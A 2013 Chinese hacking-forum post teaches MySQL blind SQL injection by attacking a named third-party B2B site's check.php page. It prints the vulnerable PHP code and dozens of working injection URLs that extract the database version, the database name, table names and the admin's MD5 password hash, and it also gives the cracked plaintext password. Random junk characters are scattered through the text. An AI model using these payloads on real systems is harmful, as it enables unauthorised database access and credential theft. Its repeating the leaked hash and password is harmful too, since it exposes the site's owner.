找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2586|回复: 0
打印 上一主题 下一主题

MySQL盲注最全 实例讲解 详解

[复制链接]
跳转到指定楼层
楼主
发表于 2013-9-25 13:52:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本文实例来自习科论坛交流三群。这个注入点可以使用错误回显注入来爆数据,本文出于讲解的目的,使用更麻烦的盲注。
- k# G2 o, k0 o  {) v4 P- u2 s阅读本文,需要有一点点SQL基础。盲注理解起来其实非常简单,就是做起来非常费劲) G# i3 F+ ?! n8 O* `: d( w
作者:YoCo Smart
5 E) v) H5 c. J来自:习科信息技术 - http://BlackBap.Org
  C+ g/ k' e1 U: Z$ U5 S我们先来看注入点,是一个B2B网站建站公司:
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin
  • 用户名已被注册
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'
  • select userid from demo_b2b_member where user = 'admin''You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin''' at line 1
    : N, u* x! a( U+ v# v" V
& U4 e- \# r. M' y3 ?) ?. a
复制代码& J9 f2 E; _3 q9 {! a: Y  E, |" s
错误提示已经很明了了。我们看一下注入页面的代码(有删改):
  • $js_user = trim($_GET["js_user"]);
  • if($js_user){
  • $num = $db->num_rows("select userid from demo_b2b_member where user = '$js_user'");
  • if(!$num)
  • echo "<div class=tips3></div>";
  • else
  • echo "<div class=tips2>用户名已被注册</div>";
  • }7 Y) A6 |) A1 H/ S$ H: P3 V6 J

& [4 T7 Z1 n1 x# f+ I, a复制代码
  c! }- ~, f2 M! t2 Y2 ]以GET方式取值的变量js_user虽然没有过滤被直接带入了数据库执行,并且MySQL也执行了,但是并没有显示数据库的任何信息,而是判断是否符合
3 }7 m' M" l; K0 J那么我们先从union的盲注来看吧。  m2 ]; @9 d2 w+ n7 Q
先看版本:
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(version(),1)=5%23! P& q9 ^! K6 j
" t4 g5 L; B9 t' _
复制代码
$ i) ]7 w; u' N这个时候我们来看看原来的代码中的SQL语句是怎么执行的:
  • select userid from demo_b2b_member where user = 'admin'and left(version(),1)=5#'
    9 ?% L' x- P7 M6 O% {

/ w" K' e$ Z2 X& {' g复制代码
0 D; x" {: G, f2 d( W7 |因为执行成功,所以不符合if(!$num)这个条件,回显“用户名已被注册”,那么版本为5成立8 Q9 K& U5 h8 L+ e5 K! r5 |
再来看database()的数据:
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length(database())=6%23
  • database()长度6
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),1)='l'%23
  • l
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),2)='li'%23
  • li
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),3)='lic'%23
  • lic
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),4)='licl'%23
  • licl
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),5)='licln'%23
  • licln
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),6)='liclny'%23
  • licclny8 W8 r$ O' Z% z0 ?
4 i- E7 Y! o9 @2 q0 j( [0 F; J
复制代码+ D. Z! b" k. I& O' h
length()函数是计算括号中数据的长度,回显为纯数字,可以用大于小于和等于号来判断是否正确。
" H( L; x: X* ?* ^. E这里要注意看一下left()函数中的数字变化,关于left()函数,可以自行参考MySQL手册。( R. N- K. c+ \3 _. u; n) ?
再来看一点简单的判断句:
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length(pass)=32%23
  • select userid from demo_b2b_member where user = 'admin'and length(pass)=32#'" d2 u( ~/ i: o9 S- i- i! [
1 a: H  d4 I1 o: e; a8 p' I
复制代码
- A% H5 A: B! h1 w( f6 I! |1 i* S0 `# _这个时候length()函数中的pass是猜测的,当然是建立在猜测正确的基础上。
( j  b$ U! A" O& |( D# Q( W! M, _" i9 t这里要说的是,pass和前面select后的userid同属一个表段demo_b2b_admin,所以不需要再带select语句
8 g" h6 Z- K5 w4 m1 S3 Q" g9 g那么这里就能得到:
  • 这里最后没有'#这个终止符,大家带进去看一下,你们懂得。前开后闭。
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,1)='0
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,2)='04
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,3)='048
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,4)='0484
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,5)='04843
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,6)='04843e
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,7)='04843e9
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,8)='04843e9f
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,9)='04843e9f9
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,10)='04843e9f91
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,11)='04843e9f91a
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,12)='04843e9f91ad
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,13)='04843e9f91adf
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,14)='04843e9f91adf2
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,15)='04843e9f91adf22
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,16)='04843e9f91adf228
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,17)='04843e9f91adf2287
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,18)='04843e9f91adf2287c
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,19)='04843e9f91adf2287c0
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,20)='04843e9f91adf2287c0a
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,21)='04843e9f91adf2287c0af
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,22)='04843e9f91adf2287c0af5
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,23)='04843e9f91adf2287c0af5f
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,24)='04843e9f91adf2287c0af5fe
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,25)='04843e9f91adf2287c0af5fe1
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,26)='04843e9f91adf2287c0af5fe16
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,27)='04843e9f91adf2287c0af5fe167
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,28)='04843e9f91adf2287c0af5fe1675
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,29)='04843e9f91adf2287c0af5fe16750
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,30)='04843e9f91adf2287c0af5fe16750a
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,31)='04843e9f91adf2287c0af5fe16750a3
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,32)='04843e9f91adf2287c0af5fe16750a35
  • 长度是32,是md5加密,解密得到lcl2wly* y. V; W* I+ }0 e/ Y& J

  ^3 f& u8 w+ ^4 s复制代码
$ t) C+ g1 I, O" A: @( r8 M: }6 i) k0 k这样,猜数据的方法你肯定是懂了
) w0 j- ~& D2 _/ r* j# C) y8 z
( N0 G: S1 F* P- c8 u8 _  X) k* L* n3 L# X: ]
最后,我们来看demo_b2b_admin以外的数据,现在再来猜表段:
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))<100%23
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))=14%23
    $ z' i  M- U: H! ^/ ?2 q
/ w# x. b5 V2 T& x
复制代码
3 h. q. K+ u/ ]) j- m+ a; B7 C实际运行的SQL语句就是:
  • select userid from demo_b2b_member where user = 'admin'and length((select table_name from information_schema.tables limit 0,1))=14#'1 E* @4 e5 l5 _4 R, x# ?

3 P) g& @( e6 r  t复制代码
0 _4 L1 Z  Y1 q4 d+ j上面这个语句,对于information_schema不明白的,可以参考其他MySQL注入文章来看一下这个库的意义。" C9 Z! V& m- e' v. V6 F( p6 j8 @: e
关于limit x,y 的用法,可以参考MySQL手册
+ I# m+ ]3 f$ t* J$ z8 j& f8 G! M8 d9 B% k, i
最后剩下的要说的就是ascii函数和hex函数了* ?8 ~& q. L5 _, j: q& _
这两个函数的意义是避开php的GPC转义,例如:
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+substr(left(pass,1),1,1)=char(48)%23
  • select userid from demo_b2b_member where user = 'admin'and substr(pass,1,1)=char(48)#
    / X' V' T0 G/ B! `

! ^& }0 A; _4 a. F, c3 j7 j复制代码" O  P/ s2 B' I3 t
substr()的用法可以参考MySQL手册,如果不懂,就这样套好了。Char()里面的数字替换为ascii码数字
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表